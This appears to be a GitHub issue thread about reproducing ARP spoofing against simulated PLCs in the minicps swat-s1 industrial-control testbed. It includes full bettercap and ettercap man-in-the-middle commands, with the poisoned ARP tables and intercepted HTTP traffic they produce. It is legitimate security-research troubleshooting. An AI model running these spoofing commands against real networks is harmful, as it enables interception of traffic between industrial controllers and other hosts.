Reproducing ARP spoofing attacks in swat-s1

[NSkelsey]

Hi folks,

First off thank you for publishing this work, it is great.

In my office we've setup a lab with minicps executing inside a Debian VM. The mininet setup works smoothly as well as the simulation of swat-s1 with regard to the CPS but after a few hours working on it I cannot seem to pull off the ARP spoofing attacks that the docs suggest are possible.

Specifically with swat-s1 we have attacker, plc1, plc2 and plc3. As soon as the simulation starts checking the arp tables of the PLCs reveals that they are in fact all populated.

Checking the timeout of values reveals a 60 second ttl for arp table entries of plc3-eth

> cat /proc/sys/net/ipv4/neigh/plc3-eth/gc_stale_time
60

However, after running the simulation for a day, the values still do not expired. Possibly suggesting that the internal networking between interfaces is not following the typical request and response with ARP or maybe that continuous communication between the devices keeps the entries fresh.

After trying a spoofing attack with the tool bettercap (v2.25) executing from the attacker with the following parameters I did not observe any successful intercept of traffic by attacker.

> net.probe on;
> set arp.spoof.internal true;
> set arp.spoof.targets 192.168.1.20,192.168.1.30;
> set arp.spoof.full_duplex on;
> arp.spoof on;

Please let me know if there is something I have overlooked. I am happy to also discuss this over email as well.

[pgaulon]

Hello @NSkelsey !

I tried to reproduce the issue and failed to do so. I started from the vagrant image in minicps repo (some outputs are removed for clarity):

$ vagrant up
$ vagrant ssh
$ sudo apt install -y ettercap-text-only
$ cd minicps && git pull

Once prepared I used the default swat-s1 example for the ARP spoofing test:

$ sudo python examples/swat-s1/run.py
*** Ping: testing ping reachability
attacker -> plc1 plc2 plc3
plc1 -> attacker plc2 plc3
plc2 -> attacker plc1 plc3
plc3 -> attacker plc1 plc2
*** Results: 0% dropped (12/12 received)
mininet> nodes
available nodes are:
attacker c0 plc1 plc2 plc3 s1
mininet> attacker ettercap -w /tmp/capture.log -q -T -M arp /192.168.1.20// /192.168.1.10// &
mininet> plc1 arp -a
? (192.168.1.77) at aa:aa:aa:aa:aa:aa [ether] on plc1-eth0
? (192.168.1.20) at aa:aa:aa:aa:aa:aa [ether] on plc1-eth0
? (192.168.1.30) at 00:1d:9c:c8:bd:f2 [ether] on plc1-eth0
mininet> plc2 arp -a
? (192.168.1.30) at 00:1d:9c:c8:bd:f2 [ether] on plc2-eth0
? (192.168.1.10) at aa:aa:aa:aa:aa:aa [ether] on plc2-eth0
? (192.168.1.77) at aa:aa:aa:aa:aa:aa [ether] on plc2-eth0
mininet> plc1 python -m SimpleHTTPServer 8080 &
mininet> plc2 curl -I 192.168.1.10:8080/README.md
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.15rc1
Date: Sun, 13 Oct 2019 04:29:30 GMT
Content-type: text/markdown
Content-Length: 1636
Last-Modified: Sun, 21 Oct 2018 16:44:45 GMT

The file /tmp/capture.log can be read from any node or even from the host:

mininet> attacker tcpdump -Anr /tmp/capture.log 'port 8080' | grep HEAD
reading from file /tmp/capture.log, link-type EN10MB (Ethernet)
tcpdump: pcap_loop: truncated dump file; tried to read 16 header bytes, only got 10
04:33:00.345244 IP 192.168.1.20.38546 > 192.168.1.10.8080: Flags [P.], seq 1:92, ack 1, win 58, options [nop,nop,TS val 3935349416 ecr 3488408283], length 91: HTTP: HEAD /README.md HTTP/1.1
........HEAD /README.md HTTP/1.1
04:33:00.351690 IP 192.168.1.20.38546 > 192.168.1.10.8080: Flags [P.], seq 1:92, ack 1, win 58, options [nop,nop,TS val 3935349416 ecr 3488408283], length 91: HTTP: HEAD /README.md HTTP/1.1
........HEAD /README.md HTTP/1.1

Once done some cleaning up:

mininet> attacker pkill ettercap
mininet> plc1 arp -a
? (192.168.1.30) at 00:1d:9c:c8:bd:f2 [ether] on plc1-eth0
? (192.168.1.20) at 00:1d:9c:c8:bc:46 [ether] on plc1-eth0
? (192.168.1.77) at aa:aa:aa:aa:aa:aa [ether] on plc1-eth0
mininet> plc2 arp -a
? (192.168.1.10) at 00:1d:9c:c7:b0:70 [ether] on plc2-eth0
? (192.168.1.77) at aa:aa:aa:aa:aa:aa [ether] on plc2-eth0
? (192.168.1.30) at 00:1d:9c:c8:bd:f2 [ether] on plc2-eth0

Maybe you can try with this setup? The main differences are the use of the prebuilt vagrant image, and using ettercap instead of bettercap. Hope this helps!

[noleti]

@pgaulon Thanks for the support! I am also in contact with @NSkelsey over mail to understand the issue. It might be related to bettercap.

[NSkelsey]

Thanks for the responses.

As @noleti pointed out over email, my experiments inside of minicps did not contain the "Reply-at" ARP frames which bettercap must send to corrupt the tables.

I rechecked the attack physically using the experimental setup described here and the same bettercap script in a physical network. The attack works in that setup and the pcap is attached here:

arp-reply.pcap.tar.gz

set arp.spoof.internal true
set arp.spoof.targets 10.0.0.2,10.0.0.3
set arp.spoof.full_duplex on
arp.spoof on

So this may be caused by an interaction with the way bettercap and mininet interact with network interfaces which is preventing the usage of these two tools together.

Trying the approach @pgaulon proposed, I ran into two separate problems that prevented me from using the setup both of which may just be caused by debian buster and honestly I don't have the time to dig into finding another work around.

My build of ettercap consistently fails when running -M arp due to an issue trying to read a file in /proc. Instead using vagrant box pgaulon/minicps on debian buster with a virtualbox backend doesn't seem to work at all.

Further, looking for other spoofers I tried both arpfox and pyarp and neither of these tools actually work due to them parsing execed sub process output incorrectly.

So on picking, installing and using open source projects I am 0 for 5 today.

[NSkelsey]

With all that said, I think that with the right tool on the right system, this attack inside of minicps is possible because even with a similar timeout in an actual network, the Reply-at ARP packets overwrite the tables of the devices causing the intercept.

In conclusion, I am reasonably convinced this is reproducible and I appreciate both of your responses.